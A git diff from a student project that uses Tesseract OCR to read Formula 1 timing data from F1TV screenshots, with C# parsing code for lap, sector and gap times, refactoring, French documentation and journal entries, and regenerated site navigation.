public static async Task GetTimeFromPng(Bitmap windowImage, OcrImage.WindowType windowType, TesseractEngine Engine) + public static int GetTimeFromPng(Bitmap image, OcrImage.WindowType windowType, TesseractEngine Engine) { //Kind of a big method but it has a lot of error handling and has to work with three special cases string rawResult = ""; int result = 0; + //Debug + int salt = rnd.Next(0, 999999); + switch (windowType) { case OcrImage.WindowType.Sector: @@ -113,7 +153,7 @@ namespace Test_Merge } - Bitmap enhancedImage = new OcrImage(windowImage).Enhance(windowType); + Bitmap enhancedImage = new OcrImage(image).Enhance(windowType); var tessImage = Pix.LoadFromMemory(ImageToByte(enhancedImage)); @@ -149,50 +189,378 @@ namespace Test_Merge //removes any empty cells (tho this usually sign of a really bad OCR implementation tbh will have to be fixed higher in the chian) rawNumbers.RemoveAll(x => ((string)x) == ""); - if (rawNumbers.Count == 3) + int minuts = 0; + int seconds = 0; + int miliseconds = 0; + switch (windowType) { - //mm:ss:ms - result = (Convert.ToInt32(rawNumbers[0]) * 1000 * 60) + (Convert.ToInt32(rawNumbers[1]) * 1000) + Convert.ToInt32(rawNumbers[2]); - } - else - { - if (rawNumbers.Count == 2) - { - //ss:ms - result = (Convert.ToInt32(rawNumbers[0]) * 1000) + Convert.ToInt32(rawNumbers[1]); - - if (result > 999999) - { - //We know that we have way too much seconds to make a minut - //Its usually because the ":" have been interpreted as a number - int minuts = (int)(rawNumbers[0][0] - '0'); - // rawNumbers[0][1] should contain the : that has been mistaken - int seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString()); - int ms = Convert.ToInt32(rawNumbers[1]); - result = (Convert.ToInt32(minuts) * 1000 * 60) + (Convert.ToInt32(seconds) * 1000) + Convert.ToInt32(ms); - } - } - else - { - if (rawNumbers.Count == 1) + case OcrImage.WindowType.Sector: + //Usually there is supposed to be only 2 parts. + if (rawNumbers.Count == 2) { + //The perect case try { - result = Convert.ToInt32(rawNumbers[0]); + seconds = Convert.ToInt32(rawNumbers[0].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[1].ToString()); } catch { - //It can be because the input is empty or because its the LEADER bracket - result = 0; + Console.WriteLine("Sector time convertion failed"); } } else { - //Auuuugh + if (rawNumbers.Count == 1) + { + //Here it is a little harder... Usually its because a '.' has been overlooked or interpreted as a number + + if (rawNumbers[0].Length == 6) + { + //The '.' has been understood as a number + try + { + seconds = Convert.ToInt32(rawNumbers[0][0].ToString() + rawNumbers[0][1].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[0][3].ToString() + rawNumbers[0][4].ToString() + rawNumbers[0][5].ToString()); + } + catch + { + Console.WriteLine("Sector time convertion failed"); + } + } + else + { + if (rawNumbers[0].Length == 5) + { + //The '.' has been overlooked + try + { + seconds = Convert.ToInt32(rawNumbers[0][0].ToString() + rawNumbers[0][1].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString() + rawNumbers[0][4].ToString()); + } + catch + { + Console.WriteLine("Sector time convertion failed"); + } + } + else + { + Console.WriteLine("Sector time convertion failed"); + } + } + } + else + { + //The OCR detected more than 1 '.' wich is concerning because that means that something went really wrong + Console.WriteLine("Sector time convertion failed"); + } + } + + result = 0; + result += seconds * 1000; + result += miliseconds; + break; + case OcrImage.WindowType.LapTime: + + if (rawNumbers.Count == 3) + { + //The normal way + try + { + minuts = Convert.ToInt32(rawNumbers[0].ToString()); + seconds = Convert.ToInt32(rawNumbers[1].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[2].ToString()); + } + catch + { + Console.WriteLine("Lap time convertion failed"); + } + } + else + { + if (rawNumbers.Count == 2) + { + //Either the ':' or the '.' has been missinterpreted + if (rawNumbers[0].Length > rawNumbers[1].Length) + { + //The ':' has been missinterpreted + if (rawNumbers[0].Length == 3) + { + //It has been forgotten + try + { + minuts = Convert.ToInt32(rawNumbers[0][0].ToString()); + seconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[1]); + } + catch + { + Console.WriteLine("Lap time convertion failed"); + } + + } + else + { + if (rawNumbers[0].Length == 4) + { + //I has been translated into an other number + try + { + minuts = Convert.ToInt32(rawNumbers[0][0].ToString()); + seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[1]); + } + catch + { + Console.WriteLine("Lap time convertion failed"); + } + } + else + { + //This could happen if the ':' has been missinterpreted with a lap time of over 9 minuts (HIGLY IMPROBABLE) + Console.WriteLine("Lap time convertion failed"); + } + } + } + else + { + //The '.' has been missinterpreted + if (rawNumbers[1].Length == 5) + { + //It has been forgotten + minuts = Convert.ToInt32(rawNumbers[0].ToString()); + seconds = Convert.ToInt32(rawNumbers[1][0].ToString() + rawNumbers[1][1].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[1][2].ToString() + rawNumbers[1][3].ToString() + rawNumbers[1][4].ToString()); + } + else + { + if (rawNumbers[1].Length == 6) + { + try + { + //It has been interpreted as a number + minuts = Convert.ToInt32(rawNumbers[0].ToString()); + seconds = Convert.ToInt32(rawNumbers[1][0].ToString() + rawNumbers[1][1].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[1][3].ToString() + rawNumbers[1][4].ToString() + rawNumbers[1][5].ToString()); + } + catch + { + //It can happen and to be honest I dont know how to fix it + } + } + else + { + Console.WriteLine("Lap time convertion failed"); + } + } + } + } + else + { + if (rawNumbers.Count == 1) + { + //Both the '.' and the ':' have been missinterpreted + if (rawNumbers[0].Length == 6) + { + //The just all have been forgotten + try + { + minuts = Convert.ToInt32(rawNumbers[0][0].ToString()); + seconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[0][3].ToString() + rawNumbers[0][4].ToString() + rawNumbers[0][5].ToString()); + } + catch + { + Console.WriteLine("Lap time convertion failed"); + } + } + else + { + if (rawNumbers[0].Length == 7) + { + //The '.' or ':' have been interpreted as a number (usually the ':') + try + { + minuts = Convert.ToInt32(rawNumbers[0][0].ToString()); + seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[0][4].ToString() + rawNumbers[0][5].ToString() + rawNumbers[0][6].ToString()); + } + catch + { + Console.WriteLine("Lap time convertion failed"); + } + } + else + { + if (rawNumbers[0].Length == 8) + { + //Both have been interpreted as a number + try + { + minuts = Convert.ToInt32(rawNumbers[0][0].ToString()); + seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[0][5].ToString() + rawNumbers[0][6].ToString() + rawNumbers[0][7].ToString()); + } + catch + { + Console.WriteLine("Lap time convertion failed"); + } + } + else + { + //I dont know what could have happened + Console.WriteLine("Lap time convertion failed"); + } + } + } + } + else + { + //I dont know what could have happened + Console.WriteLine("Lap time convertion failed"); + } + } + } + + result = 0; + result += minuts * 60 * 1000; + result += seconds * 1000; + result += miliseconds; + break; + case OcrImage.WindowType.Gap: + if (rawNumbers.Count == 2) + { + // This should be the x.xxx or a missed x:xx.xxx + if (rawNumbers[0].Length > 2) + { + //Its a missed x:xx.xxx + if (rawNumbers[0].Length == 3) + { + //It forgot the ":" + try + { + minuts = Convert.ToInt32(rawNumbers[0][0].ToString()); + seconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[1]); + } + catch + { + Console.WriteLine("Gap to leader convertion failed"); + } + } + else + { + //The ":" has been mistaken as a number + if (rawNumbers[0].Length == 4) + { + try + { + minuts = Convert.ToInt32(rawNumbers[0][0].ToString()); + seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[1]); + } + catch + { + Console.WriteLine("Gap to leader convertion failed"); + } + } + else + { + Console.WriteLine("Gap to leader convertion failed"); + } + } + + } + else + { + //It should be a normal x.xxx or xx.xxx + try + { + seconds = Convert.ToInt32(rawNumbers[0].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[1].ToString()); + } + catch + { + Console.WriteLine("Gap to leader convertion failed"); + } + } + } + else + { + if (rawNumbers.Count == 1) + { + //can be anything depending on the size of the string + if (rawNumbers[0].Length == 4) + { + //We just missed the '.' + try + { + seconds = Convert.ToInt32(rawNumbers[0][0].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString()); + } + catch + { + Console.WriteLine("Gap to leader convertion failed"); + } + } + else + { + if (rawNumbers[0].Length == 5) + { + //We just missed the '.' + try + { + seconds = Convert.ToInt32(rawNumbers[0][0].ToString() + rawNumbers[0][1].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString() + rawNumbers[0][4].ToString()); + } + catch + { + Console.WriteLine("Gap to leader convertion failed"); + } + } + //There is just too much possibilities that it would be stupid to try and tell them appart so for now im leaving that as just an error + Console.WriteLine("Gap to leader convertion failed"); + } + } + else + { + if (rawNumbers.Count == 3) + { + // This should be the x:xx.xxx + try + { + //Gaps cant be more than 9 minuts so if there is more than 1 digit it means that the '+' has been understood as an other number + if (rawNumbers[0].Length > 1) + rawNumbers[0] = rawNumbers[0][rawNumbers[0].Length - 1].ToString(); + + minuts = Convert.ToInt32(rawNumbers[0].ToString()); + seconds = Convert.ToInt32(rawNumbers[1].ToString()); + miliseconds = Convert.ToInt32(rawNumbers[2].ToString()); + } + catch + { + Console.WriteLine("Gap to leader convertion failed"); + } + } + } + } + result = 0; + result += minuts * 60 * 1000; + result += seconds * 1000; + result += miliseconds; + break; + default: + try + { + result = Convert.ToInt32(rawNumbers[0].ToString()); + } + catch + { result = 0; } - } + break; } + page.Dispose(); return result; } @@ -204,13 +572,16 @@ namespace Test_Merge /// The list of allowed chars /// The type of window the text is on. Depending on the context the OCR will behave differently /// the string it found - public static async Task GetStringFromPng(Bitmap WindowImage, TesseractEngine Engine, string allowedChars = "", OcrImage.WindowType windowType = OcrImage.WindowType.Text) + public static string GetStringFromPng(Bitmap image, TesseractEngine Engine, string allowedChars = "", OcrImage.WindowType windowType = OcrImage.WindowType.Text) { string result = ""; + //Debug + int salt = rnd.Next(0, 999999); + Engine.SetVariable("tessedit_char_whitelist", allowedChars); - Bitmap rawData = WindowImage; + Bitmap rawData = image; Bitmap enhancedImage = new OcrImage(rawData).Enhance(windowType); Page page = Engine.Process(enhancedImage); @@ -301,17 +672,5 @@ namespace Test_Merge return d[string1.Length, string2.Length]; } - public virtual string ToJSON() - { - string result = ""; - - result += "\"" + Name + "\"" + ":{" + Environment.NewLine; - result += "\t" + "\"x\":" + Bounds.X + "," + Environment.NewLine; - result += "\t" + "\"y\":" + Bounds.Y + "," + Environment.NewLine; - result += "\t" + "\"width\":" + Bounds.Width + Environment.NewLine; - result += "}"; - - return result; - } } } diff --git a/docs/Code/Zone.cs b/docs/Code/Zone.cs index 6f841ef..5a06a22 100644 --- a/docs/Code/Zone.cs +++ b/docs/Code/Zone.cs @@ -1,8 +1,8 @@ /// Author : Maxime Rohmer -/// Date : 08/05/2023 +/// Date : 30/05/2023 /// File : Zone.cs /// Brief : Class that contains all the methods and infos for a zone. This is designed to be potentially be inherited. -/// Version : 0.1 +/// Version : Alpha 1.0 using System; using System.Collections.Generic; @@ -11,7 +11,7 @@ using System.Linq; using System.Text; using System.Threading.Tasks; -namespace Test_Merge +namespace TrackTrends { public class Zone { @@ -38,7 +38,7 @@ namespace Test_Merge set { //It automatically sets the image for the contained windows and zones - _image = Image; + _image = value; foreach (Window w in Windows) { w.Image = ZoneImage; @@ -49,12 +49,16 @@ namespace Test_Merge } } } - public Rectangle Bounds { get => _bounds; protected set => _bounds = value; } public List Zones { get => _zones; protected set => _zones = value; } public List Windows { get => _windows; protected set => _windows = value; } public string Name { get => _name; protected set => _name = value; } - + /// + /// Creates a new Zone + /// + /// Image of the parent zone + /// The position and size of the zone + /// THe name of the zone (usefull for the JSON formatting) public Zone(Bitmap image, Rectangle bounds, string name) { Windows = new List(); @@ -86,36 +90,36 @@ namespace Test_Merge /// /// A list of all the driver in the race to help with text recognition /// A driver data object that contains all the infos about a driver - public virtual async Task Decode(List driverList) + public virtual DriverData Decode(List driverList) { int sectorCount = 0; DriverData result = new DriverData(); - Parallel.ForEach(Windows, async w => + foreach(Window w in Windows) { // A switch would be prettier but I dont think its supported in this C# version if (w is DriverNameWindow) - result.Name = (string)await (w as DriverNameWindow).DecodePng(driverList); + result.Name = (string)(w as DriverNameWindow).DecodePng(driverList); if (w is DriverDrsWindow) - result.DRS = (bool)await (w as DriverDrsWindow).DecodePng(); + result.DRS = (bool)(w as DriverDrsWindow).DecodePng(); if (w is DriverGapToLeaderWindow) - result.GapToLeader = (int)await (w as DriverGapToLeaderWindow).DecodePng(); + result.GapToLeader = (int)(w as DriverGapToLeaderWindow).DecodePng(); if (w is DriverLapTimeWindow) - result.LapTime = (int)await (w as DriverLapTimeWindow).DecodePng(); + result.LapTime = (int)(w as DriverLapTimeWindow).DecodePng(); if (w is DriverPositionWindow) - result.Position = (int)await (w as DriverPositionWindow).DecodePng(); + result.Position = (int)(w as DriverPositionWindow).DecodePng(); if (w is DriverSectorWindow) { sectorCount++; if (sectorCount == 1) - result.Sector1 = (int)await (w as DriverSectorWindow).DecodePng(); + result.Sector1 = (int)(w as DriverSectorWindow).DecodePng(); if (sectorCount == 2) - result.Sector2 = (int)await (w as DriverSectorWindow).DecodePng(); + result.Sector2 = (int)(w as DriverSectorWindow).DecodePng(); if (sectorCount == 3) - result.Sector3 = (int)await (w as DriverSectorWindow).DecodePng(); + result.Sector3 = (int)(w as DriverSectorWindow).DecodePng(); } if (w is DriverTyresWindow) - result.CurrentTyre = (Tyre)await (w as DriverTyresWindow).DecodePng(); - }); + result.CurrentTyre = (Tyre)(w as DriverTyresWindow).DecodePng(); + } return result; } public virtual Bitmap Draw() @@ -136,16 +140,16 @@ namespace Test_Merge //If its the main zone we need to visualize the Zone bounds displayed if (Zones.Count > 0) - g.DrawRectangle(new Pen(Brushes.Violet, 5), Bounds); + g.DrawRectangle(new Pen(new SolidBrush(Color.FromArgb(249,194,46)), 5), Bounds); foreach (Zone z in Zones) { Rectangle newBounds = new Rectangle(z.Bounds.X, z.Bounds.Y + Bounds.Y, z.Bounds.Width, z.Bounds.Height); - g.DrawRectangle(Pens.Red, newBounds); + g.DrawRectangle(new Pen(new SolidBrush(Color.FromArgb(249, 194, 46)), 5), newBounds); } foreach (Window w in Windows) { - g.DrawRectangle(Pens.Blue, w.Bounds); + g.DrawRectangle(new Pen(new SolidBrush(Color.FromArgb(252, 252, 252)), 5), w.Bounds); } return img; } @@ -161,62 +165,6 @@ namespace Test_Merge } Windows.Clear(); } - public virtual string ToJSON() - { - string result = ""; - result += "\"" + Name + "\":{" + Environment.NewLine; - result += "\t" + "\"x\":" + Bounds.X + "," + Environment.NewLine; - result += "\t" + "\"y\":" + Bounds.Y + "," + Environment.NewLine; - result += "\t" + "\"width\":" + Bounds.Width + "," + Environment.NewLine; - result += "\t" + "\"height\":" + Bounds.Height; - - if (Windows.Count != 0) - { - result += "," + Environment.NewLine; - - result += "\t" + "\"Windows\":[" + Environment.NewLine; - result += "\t\t{" + Environment.NewLine; - int Wcount = 0; - foreach (Window w in Windows) - { - result += "\t\t" + w.ToJSON(); - Wcount++; - if (Wcount != Windows.Count) - result += ","; - } - result += "\t\t}" + Environment.NewLine; - result += "\t" + "]" + Environment.NewLine; - } - else - { - result += Environment.NewLine; - } - if (Zones.Count != 0) - { - result += "," + Environment.NewLine; - - result += "\t" + "\"Zones\":[" + Environment.NewLine; - result += "\t\t{" + Environment.NewLine; - int Zcount = 0; - //foreach (Zone z in Zones) - //{ - result += "\t\t" + Zones[0].ToJSON(); - Zcount++; - if (Zcount != Zones.Count) - //result += ","; - //} - result += "\t\t}" + Environment.NewLine; - result += "\t" + "]" + Environment.NewLine; - } - else - { - result += Environment.NewLine; - } - - result += "}"; - - return result; - } /// /// Checks if the given Rectangle fits in the current zone /// diff --git a/docs/Images/Figma/DiagrammeGénéral.png b/docs/Images/Figma/DiagrammeGénéral.png new file mode 100644 index 0000000..1b4758e Binary files /dev/null and b/docs/Images/Figma/DiagrammeGénéral.png differ diff --git a/docs/Images/Figma/DiagrammeGénéral.png:Zone.Identifier b/docs/Images/Figma/DiagrammeGénéral.png:Zone.Identifier new file mode 100644 index 0000000..e69de29 diff --git a/docs/Images/Figma/DiagrammeOCR.png b/docs/Images/Figma/DiagrammeOCR.png new file mode 100644 index 0000000..7a27d61 Binary files /dev/null and b/docs/Images/Figma/DiagrammeOCR.png differ diff --git a/docs/Images/Figma/DiagrammeOCR.png:Zone.Identifier b/docs/Images/Figma/DiagrammeOCR.png:Zone.Identifier new file mode 100644 index 0000000..e69de29 diff --git a/docs/Images/Figma/DiagrammeRecupImages.png b/docs/Images/Figma/DiagrammeRecupImages.png new file mode 100644 index 0000000..a2071e8 Binary files /dev/null and b/docs/Images/Figma/DiagrammeRecupImages.png differ diff --git a/docs/Images/Figma/DiagrammeRecupImages.png:Zone.Identifier b/docs/Images/Figma/DiagrammeRecupImages.png:Zone.Identifier new file mode 100644 index 0000000..e69de29 diff --git a/docs/Images/Figma/DiagrammeTraitement.png b/docs/Images/Figma/DiagrammeTraitement.png new file mode 100644 index 0000000..a73505c Binary files /dev/null and b/docs/Images/Figma/DiagrammeTraitement.png differ diff --git a/docs/Images/Figma/DiagrammeTraitement.png:Zone.Identifier b/docs/Images/Figma/DiagrammeTraitement.png:Zone.Identifier new file mode 100644 index 0000000..e69de29 diff --git a/docs/index.md b/docs/index.md index ee191c7..bfdcdca 100644 --- a/docs/index.md +++ b/docs/index.md @@ -456,6 +456,67 @@ Il existe d'autres outils mais j'ai décidé de prendre celui la à cause de son En plus il est facile à utiliser et je ne pense pas encore avoir fait le tour de tout son potentiel dans ce projet. +### Fonctionnement général + +Avant de passer à l'explication de chaques parties du projet en détail, je pense qu'il est important de faire un petit point sur comment toutes les parties du projet s'emboitent et fonctionnement ensemble. Comme ca quand vous lirez l'explication d'une étape vous serez conscient de à quoi elle sert et ou elle s'înscrit dans le projet principal. + +#### Les briques principales + +Voici trois grosses étapes du projet. Pour rappel ce sont des vulgarisations plutôt larges qui n'ont qu'un seul but, aider à la compréhension de ce qui vient par la suite. + +##### Recupération d'images + +!["Diagramme simplifié représentant le processus de récupèration des images"](./Images/Figma/DiagrammeRecupImages.png) + +Pour faire simple on peut voir qu'il y a deux parties à cette étape. La première en partant du haut représente un script python qui va chercher des informations dans la base de données de Chrome qui est en SQLITE. Ces informations dans notre cas sont les cookies de connexion. + +Dans la seconde étape, on peut voir que le programme utilise Selenium avec un navigateur Firefox Headless qui va aller communiquer avec la F1TV qui est le site web qui nous intéresse et que une des infos que l'on récupère est une image de la page en format PNG que l'on envoie au programme C#. + +Ces deux partie sont liées car pour se connecter à la F1TV Selenium a besoin des cookies de connexion récupèrés par le programme Python. + +La première partie est un processus qui n'est utilisé qu'une seule fois au démarrage tandis que la récupération d'images et en continu pendant toute la durée de l'utilisation de l'application. + +##### OCR + +!["Diagramme simplifié représentant le processur d'OCR"](./Images/Figma/DiagrammeOCR.png); + +On peut voir dans ce diagramme simplifié qu'avec l'aide de ce que contient le fichier "Config.JSON" on découpe l'image que l'on a récupèré au préalable en petits morceaux qui continennent des informations. Ensuite on prend cette image et on lui applique un filtre pour retirer le flou la couleur etc... Puis en utilisant de l'OCR (Optical Character Recognition) on en récupère les informations sous forme de texte et on le renvoie dans le programme C# + +Dans cette partie explicative générale, on ne reviendra pas sur la création de ce fichier config. Pour plus d'infos à son sujet voir la rubrique (OCR/Fonctionnement général) + +##### Traitement et affichage + +!["Diagramme simplifié représentant le processus de traitement et d'affichage"](./Images/Figma/DiagrammeTraitement.png) + +On peut voir dans ce dernier mini diagramme simplifié que on prend les données que l'on récupèré de l'étape précédente qui ne sont pas forcément toutes cohérentes et qu'on les traite pour leur redonner du sens avant de les stocker dans une base de données SQLITE. Ensuite cette même base de donnée fournis les infos nescessaires pour des affichages (Ces affichages sont directements récupèrés depuis le projet en cours de fonctionnement) + +#### Résumé du fonctionnement général + +!["Diagramme simplifé représentant le processus général du projet"](./Images/Figma/DiagrammeG%C3%A9n%C3%A9ral.png) + +Ce dernier diagramme est un schéma fait pour représenter de la manière la plus simple possible toutes les briques du projet et comment elles s'imbriquent ensemble. +La représentation est un peu différentes des 3 autre diagramme car le but ici est surtout de montrer le chemin que fait la donnée à travers les couches + +Toutes les parties du projet ne sont pas incluses, notamment la partie calibration dans un objectif de simplifier la lecture. + +Dans l'ordre, on peut voir que pour la partie récupèration d'images, le python va récupèrer les cookies dans la base de données chrome pour ensuite les retourner à Selenium. + +Selenium va ensuite pouvoir lancer un navigateur (en l'occurence Firefox) et utiliser les cookies récupèrés pour aller sur la page de la F1TV qui va retourner un certain nombre d'infos à Selenium. + +L'info qui nous intéresse le plus depuis Selenium c'est les images de la page data de la F1Tv et c'est elles que l'on va envoyer dans la partie LOAD du diagramme. + +Dans cette partie on prend l'image de la F1TV et on la decoupe selon les directives données par le fichier Config.JSON (il renseigne les zones à découper et ce qu'elles représentent) et après le découpage on se retrouve avec une zone principale, vingt zones de pilotes et 9 fenêtres de données par zone de pilote donc 180 fenêtres en tout. + +Ces fenêtres sont ensuite envoyées pour être filtrées (retirer le flou, mettre en évidence les caractères, en gros les préparer pour la reconnaissance) dans la partie OCR + +Dans cette partie, après avoir filtré les images, on les envoie à Tesseract pour qu'il nous retourne des résultats d'OCR. Ces résultats sont ce que Tesseract a trouvé sur les image et ils sont retournés sous al forme de Data Pilote. Ex (Position: 1,Tour : 45, Temps au tour : 1:34.683, Pneus: Medium etc....) + +Finalement ces données ont envoyées dans la partie traitement qui va faire des vérifications d'usage pour s'assurer qu'elles sont correctes et quand c'est fait, tout est envoyé dans une base de données SQLITE. + +On ne montre pas non plus dans ce diagramme la parte affichage des données car je ne trouve pas pertinent de l'inclure ici. + +Et voila c'est le fonctionnement très général et simplifié de l'application. Je vous invite à continuer à lire cette documentation pour des informations plus précises à propos de toutes ces étapes. Bonne lecture ! + ### Récupération des images Voici la première grande étape du projet. @@ -2041,8 +2102,6 @@ Je pense que dans mes futurs projets je mettrai les tests en début de projet pl Ecrire des tests c'est jamais marrant et c'est encore moins marrant quand ils nous empêchent d'avancer. Mais je suis convaincu que au final c'est un gain de temps et de sérénité incontournable. -[INSERER MEME SUR LES TESTS UNITAIRES] - ## Résumé des difficultés techniques ---- @@ -2078,3 +2137,5 @@ Ecrire des tests c'est jamais marrant et c'est encore moins marrant quand ils no ---- [A remplir la dernière semaine du travail de diplôme] + +## Notes de code diff --git a/docs/jdb.md b/docs/jdb.md index 7b34fac..17f1dbd 100644 --- a/docs/jdb.md +++ b/docs/jdb.md @@ -3065,4 +3065,22 @@ Le seul qui m'inquiète un peu c'est celui des pneus mais bon. C'est aussi celui Non mais c'est juste génial les tests en fait... j'avais pas vu que parfois ma detection de GAP TO LEADER comprenait le "+1:34.567" en "61:34.567" car le '+' était interprêté comme un 6. Sans les tests je ne m'en serais pas rendu compte. -Ce qui est génial c'est que ca veut dire que si je veux améliorer mon OCR j'ai juste à mettre plus d'exemples dans le dossier de tests et de run les tests et voir ou il a des soucis. C'est un peu tard mais ca m'aurait fait gagner TELLEMENT de temps c'est absolument ridicule. \ No newline at end of file +Ce qui est génial c'est que ca veut dire que si je veux améliorer mon OCR j'ai juste à mettre plus d'exemples dans le dossier de tests et de run les tests et voir ou il a des soucis. C'est un peu tard mais ca m'aurait fait gagner TELLEMENT de temps c'est absolument ridicule. + +## Vendredi 2 Juin 2023 + +Aujourd'hui c'est de nouveau doc. Mais la je pense qu'il faut que je rajoute une rubrique "Fonctionnement général" qui résume très simplement toutes les étapes du projet avec un bon diagramme. + +En fait c'est beaucoup plus dur que ce que je pensais de faire un bon diagramme qui explique tout sans être illisible. J'ai mis une heure trente à faire celui la : + +!["Diagramme fonctionnement général"](./Images/Figma/DiagrammeG%C3%A9n%C3%A9ral.png) + +J'ai pris pas mal de temps aussi à faire ces trois autre diagrammes un peu plus graphiques qui montrent de manière un poil plus abstraite le fonctionnement des trois grosses parties du projet. + +!["Diagramme recupération d'images"](./Images/Figma/DiagrammeRecupImages.png) + +!["Diagramme OCR"](./Images/Figma/DiagrammeOCR.png) + +!["Diagramme Traitement"](./Images/Figma/DiagrammeTraitement.png) + +Je pense qu'ils sont un peu plus faciles à comprendre que le gros diagramme général. Ce que je me dis c'est que je vais faire une section fonctionnement général ou je vais expliquer les trois parties avec les petits diagramme et résumer avec le grand diagramme. \ No newline at end of file diff --git a/mkdocs.yml b/mkdocs.yml index d3e957c..73ab3fe 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -19,9 +19,15 @@ theme: icon: material/brightness-4 name: Switch to light mode markdown_extensions: + - pymdownx.highlight: + anchor_linenums: true + line_spans: __span + pygments_lang_class: true + - pymdownx.inlinehilite + - pymdownx.snippets + - pymdownx.superfences - attr_list - md_in_html - - pymdownx.highlight plugins: - glightbox - search @@ -29,23 +35,29 @@ plugins: - with-pdf: cover_subtitle: "Vroum Vroum" enabled_if_env: ENABLE_PDF_EXPORT + toc_title: Table des matières + ordered_chapter_level: 3 + toc_level: 6 - annexes-integration: annexes: # Required (at least 1) - - ConfigurationTool.cs: Code/ConfigurationTool.cs # An path to an annex with its title - - DriverGapToLeaderWindow.cs: Code/DriverGapToLeaderWindow.cs # An path to an annex with its title - - DriverPositionWindow.cs: Code/DriverPositionWindow.cs # An path to an annex with its title - - F1TVEmulator.cs: Code/F1TVEmulator.cs # An path to an annex with its title - - Program.cs: Code/Program.cs # An path to an annex with its title - - Window.cs: Code/Window.cs # An path to an annex with its title - - DriverData.cs: Code/DriverData.cs # An path to an annex with its title - - DriverLapTimeWindow.cs: Code/DriverLapTimeWindow.cs # An path to an annex with its title - - DriverSectorWindow.cs: Code/DriverSectorWindow.cs # An path to an annex with its title - - Form1.cs: Code/Form1.cs # An path to an annex with its title - - Reader.cs: Code/Reader.cs # An path to an annex with its title - - Zone.cs: Code/Zone.cs # An path to an annex with its title - - DriverDrsWindow.cs: Code/DriverDrsWindow.cs # An path to an annex with its title - - DriverNameWindow.cs: Code/DriverNameWindow.cs # An path to an annex with its title - - DriverTyresWindow.cs: Code/DriverTyresWindow.cs # An path to an annex with its title - - OcrImage.cs: Code/OcrImage.cs # An path to an annex with its title - - Settings.cs: Code/Settings.cs # An path to an annex with its title - - recoverCookiesCSV.py: Code/recoverCookiesCSV.py # An path to an annex with its title + - ConfigurationTool.cs: "Code/ConfigurationTool.cs" + - DriverData.cs: "Code/DriverData.cs" + - DriverGapToLeaderWindow.cs: "Code/DriverGapToLeaderWindow.cs" + - DriverNameWindow.cs: "Code/DriverNameWindow.cs" + - DriverSectorWindow.cs: "Code/DriverSectorWindow.cs" + - F1TVEmulator.cs: "Code/F1TVEmulator.cs" + - Form1.cs: "Code/Form1.cs" + - Program.cs: "Code/Program.cs" + - Settings.Designer.cs: "Code/Settings.Designer.cs" + - SqliteStorage.cs: "Code/SqliteStorage.cs" + - Zone.cs: "Code/Zone.cs" + - DataWrapper.cs: "Code/DataWrapper.cs" + - DriverDrsWindow.cs: "Code/DriverDrsWindow.cs" + - DriverLapTimeWindow.cs: "Code/DriverLapTimeWindow.cs" + - DriverPositionWindow.cs: "Code/DriverPositionWindow.cs" + - DriverTyresWindow.cs: "Code/DriverTyresWindow.cs" + - OcrImage.cs: "Code/OcrImage.cs" + - Reader.cs: "Code/Reader.cs" + - Settings.cs: "Code/Settings.cs" + - Window.cs: "Code/Window.cs" + - recoverCookiesCSV.py: "Code/recoverCookiesCSV.py" diff --git a/site/404.html b/site/404.html index 878ff2d..e5fa957 100644 --- a/site/404.html +++ b/site/404.html @@ -280,76 +280,6 @@ -
  • - - DriverGapToLeaderWindow.cs - -
  • - - - - - - - - - -
  • - - DriverPositionWindow.cs - -
  • - - - - - - - - - -
  • - - F1TVEmulator.cs - -
  • - - - - - - - - - -
  • - - Program.cs - -
  • - - - - - - - - - -
  • - - Window.cs - -
  • - - - - - - - - -
  • DriverData.cs @@ -365,8 +295,22 @@
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
  • + + + + + + + + + +
  • + + DriverNameWindow.cs
  • @@ -392,6 +336,20 @@ +
  • + + F1TVEmulator.cs + +
  • + + + + + + + + +
  • Form1.cs @@ -407,8 +365,36 @@
  • - - Reader.cs + + Program.cs + +
  • + + + + + + + + + +
  • + + Settings.Designer.cs + +
  • + + + + + + + + + +
  • + + SqliteStorage.cs
  • @@ -434,6 +420,20 @@ +
  • + + DataWrapper.cs + +
  • + + + + + + + + +
  • DriverDrsWindow.cs @@ -449,8 +449,22 @@
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
  • + + + + + + + + + +
  • + + DriverPositionWindow.cs
  • @@ -490,6 +504,20 @@ +
  • + + Reader.cs + +
  • + + + + + + + + +
  • Settings.cs @@ -504,6 +532,20 @@ +
  • + + Window.cs + +
  • + + + + + + + + +
  • recoverCookiesCSV.py diff --git a/site/CahierDesCharges.html b/site/CahierDesCharges.html index 9b37393..a478afe 100644 --- a/site/CahierDesCharges.html +++ b/site/CahierDesCharges.html @@ -173,38 +173,18 @@
  • - - DriverGapToLeaderWindow.cs - -
  • -
  • - - DriverPositionWindow.cs - -
  • -
  • - - F1TVEmulator.cs - -
  • -
  • - - Program.cs - -
  • -
  • - - Window.cs - -
